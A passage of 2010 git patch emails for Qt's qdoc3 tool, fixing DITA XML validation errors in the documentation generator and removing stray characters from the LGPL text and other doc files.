@@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (threeColumnEnumValueTable) { xmlWriter().writeEndElement(); // xmlWriter().writeStartElement("stentry"); - if (matchAhead(atom, Atom::ListItemRight)) - xmlWriter().writeCharacters(" "); } } else { diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 5adb282..4b1bec8 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -1682,7 +1682,7 @@ bool DocParser::closeCommand(int endCmd) void DocParser::startSection(Doc::SectioningUnit unit, int cmd) { - leavePara(); + leaveValueList(); if (currentSectioningUnit == Doc::Book) { #if 0 -- cgit v0.12 From b65b6ac831ddfae4b9c08d26e5087d98ce9c0f2e Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 27 Oct 2010 10:05:30 +0200 Subject: doc: Fixed some DITA XML validation errors. These were in the compact list. --- tools/qdoc3/ditaxmlgenerator.cpp | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 542960d..30d1d74 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3006,24 +3006,24 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, int curParNr = 0; int curParOffset = 0; + QMap cmap; /* Output the alphabet as a row of links. */ if (includeAlphabet) { xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign functionIndex"); - xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","alphabet"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); if (usedParagraphNames.contains(char('a' + i))) { xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",QString("#%1").arg(ch)); + QString guid = lookupGuid(outFileName(),QString(ch)); + xmlWriter().writeAttribute("href",QString("#%1").arg(guid)); xmlWriter().writeCharacters(QString(ch.toUpper())); xmlWriter().writeEndElement(); // } } - xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); //

    } @@ -3051,15 +3051,12 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, xmlWriter().writeStartElement("dl"); xmlWriter().writeStartElement("dlentry"); xmlWriter().writeStartElement("dt"); - xmlWriter().writeAttribute("outputclass","alphaChar"); if (includeAlphabet) { QChar c = paragraphName[curParNr][0].toLower(); - xmlWriter().writeStartElement("a"); - xmlWriter().writeAttribute("name",c); + writeGuidAttribute(QString(c)); } - xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","sublist-header"); xmlWriter().writeCharacters(paragraphName[curParNr]); - xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } -- cgit v0.12 From 7ee572661f9de00b7b1bf0f24b0145e06077553f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 27 Oct 2010 10:44:07 +0200 Subject: doc: Fixed some DITA XML validation errors. No links in the text. --- tools/qdoc3/ditaxmlgenerator.cpp | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 30d1d74..edb8677 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1090,16 +1090,15 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, .arg(atom->string()) .arg(marker->plainFullName(relative))); } -#if 0 - else if (noLinks) { - //xmlWriter().writeCharacters(atom->string()); - qDebug() << "MYLINK:" << myLink << outFileName() << atom->string(); + else if (!inSectionHeading) { + beginLink(myLink, node, relative, marker); } +#if 0 else { - beginLink(myLink, node, relative, marker); + //xmlWriter().writeCharacters(atom->string()); + //qDebug() << "MYLINK:" << myLink << outFileName() << atom->string(); } -#endif - beginLink(myLink, node, relative, marker); +#endif skipAhead = 1; } break; -- cgit v0.12 From 6a018c73d24594e7a78829e7607133f39eb33fd9 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 27 Oct 2010 10:54:59 +0200 Subject: doc: Fixed some DITA XML validation errors. No <br> elements allowed. --- tools/qdoc3/ditaxmlgenerator.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index edb8677..2cbbfd5 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1021,7 +1021,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // </p> generateSection(nlist, 0, marker, CodeMarker::Summary); - xmlWriter().writeEmptyElement("br"); ++pmap; } } @@ -1079,7 +1078,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, inLegaleseText = false; break; case Atom::LineBreak: - xmlWriter().writeEmptyElement("br"); + //xmlWriter().writeEmptyElement("br"); break; case Atom::Link: { -- cgit v0.12 From 9b83b7708f02779d0d0405fd05468f03e32de133 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 27 Oct 2010 12:45:17 +0200 Subject: doc: Removed an illegal character. --- doc/src/snippets/code/doc_src_lgpl.qdoc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/src/snippets/code/doc_src_lgpl.qdoc b/doc/src/snippets/code/doc_src_lgpl.qdoc index 8f21642..36b8294 100644 --- a/doc/src/snippets/code/doc_src_lgpl.qdoc +++ b/doc/src/snippets/code/doc_src_lgpl.qdoc @@ -96,7 +96,7 @@ modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. - + Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a -- cgit v0.12 From a57e16bcc728cd71ab4b8b2b86fe25a9b36078e5 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 27 Oct 2010 12:46:12 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2cbbfd5..a47a956 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2801,6 +2801,8 @@ void DitaXmlGenerator::generateClassHierarchy(const Node* relative, if (stack.top().isEmpty()) { stack.pop(); xmlWriter().writeEndElement(); // </ul> + if (!stack.isEmpty()) + xmlWriter().writeEndElement(); // </li> } else { const ClassNode *child = @@ -2817,6 +2819,7 @@ void DitaXmlGenerator::generateClassHierarchy(const Node* relative, } if (!newTop.isEmpty()) { stack.push(newTop); + xmlWriter().writeStartElement("li"); xmlWriter().writeStartElement("ul"); } } -- cgit v0.12 From ac8d82a85369424830b7b8cf9d568e25bfa791e7 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 27 Oct 2010 12:56:09 +0200 Subject: doc: Removed some illegal characters. --- doc/src/snippets/code/doc_src_lgpl.qdoc | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/doc/src/snippets/code/doc_src_lgpl.qdoc b/doc/src/snippets/code/doc_src_lgpl.qdoc index 36b8294..e532406 100644 --- a/doc/src/snippets/code/doc_src_lgpl.qdoc +++ b/doc/src/snippets/code/doc_src_lgpl.qdoc @@ -199,7 +199,7 @@ Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. - + 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 @@ -257,7 +257,7 @@ instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. - + Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. @@ -308,7 +308,7 @@ Library will still fall under Section 6.) distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. - + 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work @@ -370,7 +370,7 @@ restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. - + 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined @@ -388,7 +388,7 @@ permitted, and provided that you do these two things: where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute -the Library except as expressly provided under this License. Any +0the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, @@ -411,7 +411,7 @@ subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. - + 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or @@ -463,7 +463,7 @@ conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. - + 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is @@ -497,7 +497,7 @@ SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS - + How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest -- cgit v0.12 From 649ff059fbb8a3a288dbb112edb65e8f9f4e29cb Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 27 Oct 2010 13:12:17 +0200 Subject: doc: Removed an illegal char and some empty \row commands. --- doc/src/platforms/compiler-notes.qdoc | 3 --- doc/src/snippets/code/doc_src_lgpl.qdoc | 2 +- 2 files changed, 1 insertion(+), 4 deletions(-) diff --git a/doc/src/platforms/compiler-notes.qdoc b/doc/src/platforms/compiler-notes.qdoc index 5ff3112..316b635 100644 --- a/doc/src/platforms/compiler-notes.qdoc +++ b/doc/src/platforms/compiler-notes.qdoc @@ -55,14 +55,11 @@ \header \o \o Concurrent \o XmlPatterns \o WebKit(*) \o CLucene \o Phonon \row \o g++ 3.3 \o \o \bold{X} \o \o \bold{X} \o \bold{X} \row \o g++ 3.4 and up \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} - \row \row \o SunCC 5.5 \o \o \o \o \bold{X} \o \bold{X} - \row \row \o aCC series 3 \o \o \o \o \bold{X} \o \bold{X} \row \o aCC series 6 \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \row \o xlC 6 \o \o \o \o \bold{X} \o \bold{X} \row \o Intel CC 10 \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} - \row \row \o MSVC 2003 \o \bold{X} \o \bold{X} \o \o \bold{X} \o \bold{X} \row \o MSVC 2005 and up \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \endtable diff --git a/doc/src/snippets/code/doc_src_lgpl.qdoc b/doc/src/snippets/code/doc_src_lgpl.qdoc index e532406..fa155fc 100644 --- a/doc/src/snippets/code/doc_src_lgpl.qdoc +++ b/doc/src/snippets/code/doc_src_lgpl.qdoc @@ -152,7 +152,7 @@ modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. - + GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION -- cgit v0.12 From 14dd3da129e26872296435814694a3251ef5e52f Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Thu, 28 Oct 2010 12:36:57 +0200 Subject: qdoc: Fixed some DITA XML validation errors. Fixed some \table problems as well. --- doc/src/getting-started/installation.qdoc | 11 ++++++----- tools/qdoc3/ditaxmlgenerator.cpp | 24 ++++++++++++++++++------ 2 files changed, 24 insertions(+), 11 deletions(-) diff --git a/doc/src/getting-started/installation.qdoc b/doc/src/getting-started/installation.qdoc index c6e79d9..fdb88f5 100644 --- a/doc/src/getting-started/installation.qdoc +++ b/doc/src/getting-started/installation.qdoc @@ -990,9 +990,9 @@ applications using Qt for Symbian can start right away. Qt from its source code, you will also need to install the development packages for these libraries for your system. - \table 90% - \header \o Name \o Library \o Notes \o Configuration options \o Minimum working version \raw HTML + <table class="generic"> + <thead><tr class="qt-style topAlign"><th>Name</th><th>Library</th><th>Notes</th><th>Configuration options</th><th>Minimum working version <tr id="OptionalColor"> <td> XRender </td><td> libXrender </td><td> X Rendering Extension; used for anti-aliasing</td> <td><tt>-xrender</tt> or auto-detected</td><td>0.9.0</td> @@ -1039,9 +1039,9 @@ applications using Qt for Symbian can start right away. </tr><tr id="PthreadColor"> <td> pthread </td><td> libpthread </td><td> Multithreading</td> <td></td><td>2.3.5</td> - </tr> + </tr></th></tr></thead> + </table> \endraw - \endtable \note You must compile with XRender support to get alpha transparency support for pixmaps and images. @@ -1129,8 +1129,9 @@ applications using Qt for Symbian can start right away. {Windows Mobile 6 Professional/Standard} \endlist + \bold{Note:} \table - \row \bold{Note:} + \row \o \list 1 \o Currently, there is only compile support for Windows CE 5.0 diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index a47a956..581335a 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -653,10 +653,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::BaseName: break; case Atom::BriefLeft: - if (relative->type() == Node::Fake) { - skipAhead = skipAtoms(atom, Atom::BriefRight); - break; - } + //if (relative->type() == Node::Fake) { + //skipAhead = skipAtoms(atom, Atom::BriefRight); + //break; + //} if (inApiDesc || inSection) { xmlWriter().writeStartElement("p"); xmlWriter().writeAttribute("outputclass","brief"); @@ -697,8 +697,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } break; case Atom::BriefRight: - if (relative->type() != Node::Fake) - xmlWriter().writeEndElement(); // </shortdesc> or </p> + // if (relative->type() != Node::Fake) + xmlWriter().writeEndElement(); // </shortdesc> or </p> noLinks = false; break; case Atom::C: @@ -2413,6 +2413,18 @@ void DitaXmlGenerator::generateTitle(const QString& title, void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { Text brief = node->doc().briefText(true); // zzz + if (outFileName() == "requirements-x11.xml") { + if (brief.isEmpty()) + qDebug() << "EMPTY BRIEF"; + else { + qDebug() << "NON-EMPTY BRIEF"; + Atom* a = brief.firstAtom(); + while (a != 0) { + qDebug() << " " << a->type() << a->typeString() << a->string(); + a = a->next(); + } + } + } if (!brief.isEmpty()) { generateText(brief, node, marker); } -- cgit v0.12 From dafb371f89c14f99082289feba66fa21b28ecd37 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Thu, 28 Oct 2010 15:15:27 +0200 Subject: qdoc: Fixed some DITA XML validation errors. The obsolete and Qt3 support files no longer exist, so all the references to them had to be cleaned up, and the elements that were formerly in those files had to be included in the class, namespace, or header file with the appropriate outputclass attr. --- tools/qdoc3/ditaxmlgenerator.cpp | 315 +++++++++------------------------------ tools/qdoc3/ditaxmlgenerator.h | 26 +++- 2 files changed, 89 insertions(+), 252 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 581335a..fa0aa43 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1628,27 +1628,9 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } ++s; } -#if 0 - QString membersLink = generateListOfAllMemberFile(inner, marker); - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!membersLink.isEmpty() || - !obsoleteLink.isEmpty() || - !compatLink.isEmpty()) { - xmlWriter().writeStartElement("ul"); - if (!membersLink.isEmpty()) - writeXrefListItem(membersLink,"List of all members, including inherited members"); - if (!obsoleteLink.isEmpty()) - writeXrefListItem(obsoleteLink,"Obsolete members"); - if (!compatLink.isEmpty()) - writeXrefListItem(compatLink,"Qt 3 support members"); - xmlWriter().writeEndElement(); // </ul> - } -#endif + + generateLowStatusMembers(inner,marker,CodeMarker::Obsolete); + generateLowStatusMembers(inner,marker,CodeMarker::Compat); xmlWriter().writeEndElement(); // </cxxClass> } else if (inner->type() == Node::Class) { @@ -1783,29 +1765,8 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark ++s; } - // not included: <cxxClassInherits> - -#if 0 - QString membersLink = generateListOfAllMemberFile(inner, marker); - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!membersLink.isEmpty() || - !obsoleteLink.isEmpty() || - !compatLink.isEmpty()) { - xmlWriter().writeStartElement("ul"); - if (!membersLink.isEmpty()) - writeXrefListItem(membersLink,"List of all members, including inherited members"); - if (!obsoleteLink.isEmpty()) - writeXrefListItem(obsoleteLink,"Obsolete members"); - if (!compatLink.isEmpty()) - writeXrefListItem(compatLink,"Qt 3 support members"); - xmlWriter().writeEndElement(); // </ul> - } -#endif + generateLowStatusMembers(inner,marker,CodeMarker::Obsolete); + generateLowStatusMembers(inner,marker,CodeMarker::Compat); xmlWriter().writeEndElement(); // </cxxClass> } else if ((inner->type() == Node::Fake) && (inner->subType() == Node::HeaderFile)) { @@ -1926,27 +1887,8 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } ++s; } -#if 0 - QString membersLink = generateListOfAllMemberFile(inner, marker); - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!membersLink.isEmpty() || - !obsoleteLink.isEmpty() || - !compatLink.isEmpty()) { - xmlWriter().writeStartElement("ul"); - if (!membersLink.isEmpty()) - writeXrefListItem(membersLink,"List of all members, including inherited members"); - if (!obsoleteLink.isEmpty()) - writeXrefListItem(obsoleteLink,"Obsolete members"); - if (!compatLink.isEmpty()) - writeXrefListItem(compatLink,"Qt 3 support members"); - xmlWriter().writeEndElement(); // </ul> - } -#endif + generateLowStatusMembers(inner,marker,CodeMarker::Obsolete); + generateLowStatusMembers(inner,marker,CodeMarker::Compat); xmlWriter().writeEndElement(); // </cxxClass> } else if ((inner->type() == Node::Fake) && (inner->subType() == Node::QmlClass)) { @@ -2138,90 +2080,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker xmlWriter().writeEndElement(); // </section> } } -#if 0 - else if (fake->subType() == Node::HeaderFile) { - generateStatus(fake, marker); - QString membersLink = generateListOfAllMemberFile(fake, marker); - QString obsoleteLink = generateLowStatusMemberFile(fake, - marker, - CodeMarker::Obsolete); - QString compatLink = generateLowStatusMemberFile(fake, - marker, - CodeMarker::Compat); - - if (!membersLink.isEmpty() || !obsoleteLink.isEmpty() || !compatLink.isEmpty()) { - xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","member-lists"); - xmlWriter().writeStartElement("ul"); - if (!membersLink.isEmpty()) { - writeXrefListItem(membersLink,"List of all members, including inherited members"); - } - if (!obsoleteLink.isEmpty()) { - writeXrefListItem(obsoleteLink,"Obsolete members"); - } - if (!compatLink.isEmpty()) { - writeXrefListItem(compatLink,"Qt 3 support members"); - } - xmlWriter().writeEndElement(); // </ul> - xmlWriter().writeEndElement(); // </section> - } - } - else if (fake->subType() == Node::QmlClass) { - const QmlClassNode* qml_cn = static_cast<const QmlClassNode*>(fake); - const ClassNode* cn = qml_cn->classNode(); - xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","apiDesc"); - generateQmlInstantiates(qml_cn, marker); - generateQmlInherits(qml_cn, marker); - generateQmlInheritedBy(qml_cn, marker); - xmlWriter().writeEndElement(); // </section> - sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); - s = sections.begin(); - while (s != sections.end()) { - xmlWriter().writeStartElement("section"); - QString attr = cleanRef((*s).name).toLower(); - xmlWriter().writeAttribute("outputclass",attr); - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); - xmlWriter().writeEndElement(); // - generateQmlSummary(*s,fake,marker); - xmlWriter().writeEndElement(); //
    - ++s; - } - - writeDetailedDescription(fake, marker, false, QString("Detailed Description")); - - if (cn) - generateQmlText(cn->doc().body(), cn, marker, fake->name()); - - generateAlsoList(fake, marker); - - sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0); - s = sections.begin(); - while (s != sections.end()) { - if (!s->members.isEmpty()) { - QString attr; - xmlWriter().writeStartElement("section"); - attr = cleanRef((*s).name).toLower(); - xmlWriter().writeAttribute("outputclass",attr); - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); - xmlWriter().writeEndElement(); // - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - generateDetailedQmlMember(*m, fake, marker); - ++m; - } - xmlWriter().writeEndElement(); //
    - } - ++s; - } - xmlWriter().writeEndElement(); // - return; - } -#endif if (fake->doc().isEmpty()) { if (fake->subType() == Node::File) { @@ -2685,106 +2543,48 @@ QString DitaXmlGenerator::generateListOfAllMemberFile(const InnerNode* inner, return fileName; } -#if 0 -QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, - CodeMarker* marker, - CodeMarker::Status status) +void DitaXmlGenerator::generateLowStatusMembers(const InnerNode* inner, + CodeMarker* marker, + CodeMarker::Status status) { - QList
    sections = marker->sections(inner,CodeMarker::Summary,status); + QString attribute; + if (status == CodeMarker::Compat) + attribute = "Qt3-support"; + else if (status == CodeMarker::Obsolete) + attribute = "obsolete"; + else + return; + + QList
    sections = marker->sections(inner, CodeMarker::Detailed, status); QMutableListIterator
    j(sections); while (j.hasNext()) { if (j.next().members.size() == 0) j.remove(); } if (sections.isEmpty()) - return QString(); - - int i; - QString title; - QString fileName; - - if (status == CodeMarker::Compat) { - title = "Qt 3 Support Members for " + inner->name(); - fileName = fileBase(inner) + "-qt3." + fileExtension(inner); - } - else { - title = "Obsolete Members for " + inner->name(); - fileName = fileBase(inner) + "-obsolete." + fileExtension(inner); - } - beginSubPage(inner->location(), fileName); - generateHeader(inner, title, true); - xmlWriter().writeStartElement("body"); - xmlWriter().writeStartElement("section"); - if (!title.isEmpty()) { - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass", "h1"); - xmlWriter().writeCharacters(protectEnc(title)); - xmlWriter().writeEndElement(); // - } - - xmlWriter().writeStartElement("p"); - if (status == CodeMarker::Compat) { - xmlWriter().writeStartElement("b"); - xmlWriter().writeCharacters("The following class members are part of the "); - xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href","qt3support.html"); - xmlWriter().writeCharacters("Qt 3 support layer"); - xmlWriter().writeEndElement(); // - xmlWriter().writeCharacters(". "); - xmlWriter().writeEndElement(); // - xmlWriter().writeCharacters("They are provided to help you port old code to Qt 4. " - "We advise against using them in new code."); - } - else { - xmlWriter().writeStartElement("b"); - xmlWriter().writeCharacters("The following class members are obsolete. "); - xmlWriter().writeEndElement(); // - xmlWriter().writeCharacters("They are provided to keep old source code working. " - "We strongly advise against using them in new code."); - } - xmlWriter().writeEndElement(); //

    - xmlWriter().writeStartElement("p"); - xmlWriter().writeStartElement("ul"); - QString text = protectEnc(inner->name()) + " class reference"; - writeXrefListItem(linkForNode(inner,0),text); - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); //

    - xmlWriter().writeEndElement(); //
    - - for (i = 0; i < sections.size(); ++i) { - xmlWriter().writeStartElement("section"); - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); - xmlWriter().writeEndElement(); // - generateSection(sections.at(i).members, inner, marker, CodeMarker::Summary); - generateSectionInheritedList(sections.at(i), inner, marker); - xmlWriter().writeEndElement(); //
    - } - - sections = marker->sections(inner, CodeMarker::Detailed, status); - for (i = 0; i < sections.size(); ++i) { - xmlWriter().writeStartElement("section"); - xmlWriter().writeStartElement("title"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); - xmlWriter().writeEndElement(); // + return; - NodeList::ConstIterator m = sections.at(i).members.begin(); - while (m != sections.at(i).members.end()) { - if ((*m)->access() != Node::Private) { - generateDetailedMember(*m, inner, marker); - } - ++m; + QList
    ::ConstIterator s = sections.begin(); + while (s != sections.end()) { + if ((*s).name == "Member Function Documentation") { + writeFunctions((*s),inner,marker,attribute); + } + else if ((*s).name == "Member Type Documentation") { + writeEnumerations((*s),marker,attribute); + writeTypedefs((*s),marker,attribute); + } + else if ((*s).name == "Member Variable Documentation") { + writeDataMembers((*s),marker,attribute); } - xmlWriter().writeEndElement(); //
    + else if ((*s).name == "Property Documentation") { + writeProperties((*s),marker,attribute); + } + else if ((*s).name == "Macro Documentation") { + writeMacros((*s),marker,attribute); + } + ++s; } - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // - endSubPage(); - return fileName; } -#endif /*! Write the XML for the class hierarchy to the current XML stream. @@ -3789,6 +3589,7 @@ QString DitaXmlGenerator::fileBase(const Node* node) const { QString result; result = PageGenerator::fileBase(node); +#if 0 if (!node->isInnerNode()) { switch (node->status()) { case Node::Compat: @@ -3801,6 +3602,7 @@ QString DitaXmlGenerator::fileBase(const Node* node) const ; } } +#endif return result; } @@ -3969,6 +3771,7 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, actualNode = apparentNode; xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",linkForNode(actualNode, relative)); +#if 0 if (true || relative == 0 || relative->status() != actualNode->status()) { switch (actualNode->status()) { case Node::Obsolete: @@ -3981,6 +3784,7 @@ void DitaXmlGenerator::generateFullName(const Node* apparentNode, break; } } +#endif xmlWriter().writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); xmlWriter().writeEndElement(); // } @@ -4482,12 +4286,12 @@ void DitaXmlGenerator::beginLink(const QString& link, case Node::Obsolete: xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",link); - xmlWriter().writeAttribute("outputclass","obsolete"); + //xmlWriter().writeAttribute("outputclass","obsolete"); break; case Node::Compat: xmlWriter().writeStartElement("xref"); xmlWriter().writeAttribute("href",link); - xmlWriter().writeAttribute("outputclass","compat"); + //xmlWriter().writeAttribute("outputclass","compat"); break; default: xmlWriter().writeStartElement("xref"); @@ -4880,7 +4684,8 @@ void DitaXmlGenerator::writeLocation(const Node* n) */ void DitaXmlGenerator::writeFunctions(const Section& s, const Node* n, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -4888,6 +4693,8 @@ void DitaXmlGenerator::writeFunctions(const Section& s, FunctionNode* fn = const_cast(static_cast(*m)); xmlWriter().writeStartElement(CXXFUNCTION); xmlWriter().writeAttribute("id",fn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); if (fn->metaness() == FunctionNode::Signal) xmlWriter().writeAttribute("class","signal"); @@ -5049,7 +4856,8 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn) This function writes the enum types. */ void DitaXmlGenerator::writeEnumerations(const Section& s, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -5057,6 +4865,8 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, const EnumNode* en = static_cast(*m); xmlWriter().writeStartElement(CXXENUMERATION); xmlWriter().writeAttribute("id",en->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(en->name()); xmlWriter().writeEndElement(); // @@ -5164,7 +4974,9 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, This function writes the output for the \typedef commands. */ void DitaXmlGenerator::writeTypedefs(const Section& s, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) + { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -5172,6 +4984,8 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, const TypedefNode* tn = static_cast(*m); xmlWriter().writeStartElement(CXXTYPEDEF); xmlWriter().writeAttribute("id",tn->guid()); + if (!attribute.isEmpty()) + xmlWriter().writeAttribute("outputclass",attribute); xmlWriter().writeStartElement("apiName"); xmlWriter().writeCharacters(tn->name()); xmlWriter().writeEndElement(); // @@ -5224,7 +5038,8 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, This is the Q_PROPERTYs. */ void DitaXmlGenerator::writeProperties(const Section& s, - CodeMarker* marker) + CodeMarker* marker, + const QString& attribute) { NodeList::ConstIterator m = s.members.begin(); while (m != s.members.end()) { @@ -5232,6 